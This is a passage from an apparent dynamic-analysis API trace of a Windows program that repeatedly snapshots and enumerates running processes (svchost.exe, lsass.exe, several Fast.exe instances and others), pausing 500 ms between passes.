lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.826] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.827] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.828] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.829] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.830] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.831] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.832] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.832] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.833] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0262.834] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0262.835] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0262.836] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0262.837] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0262.839] CloseHandle (hObject=0xe0) returned 1 [0262.839] Sleep (dwMilliseconds=0x1f4) [0263.431] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0263.434] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.435] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.436] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.437] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.438] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.438] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.439] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.440] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.441] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.442] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.442] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.443] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.444] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.445] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.446] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.447] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.448] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.449] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.450] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.451] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.452] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.452] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.453] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.454] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0263.455] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0263.456] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0263.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0263.459] CloseHandle (hObject=0xe0) returned 1 [0263.459] Sleep (dwMilliseconds=0x1f4) [0263.961] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0263.966] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.967] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.968] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.969] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.970] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.971] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.972] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.973] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.974] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.975] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.977] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.978] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.979] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.980] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.981] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.982] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.983] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.984] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.987] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.988] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.990] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.991] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.992] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.994] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0263.995] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0263.996] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0263.997] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.998] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0263.999] CloseHandle (hObject=0xe0) returned 1 [0263.999] Sleep (dwMilliseconds=0x1f4) [0264.554] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0264.560] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.561] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.562] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.564] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.565] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.566] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.567] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.568] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.570] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.571] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.572] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.573] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.574] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: 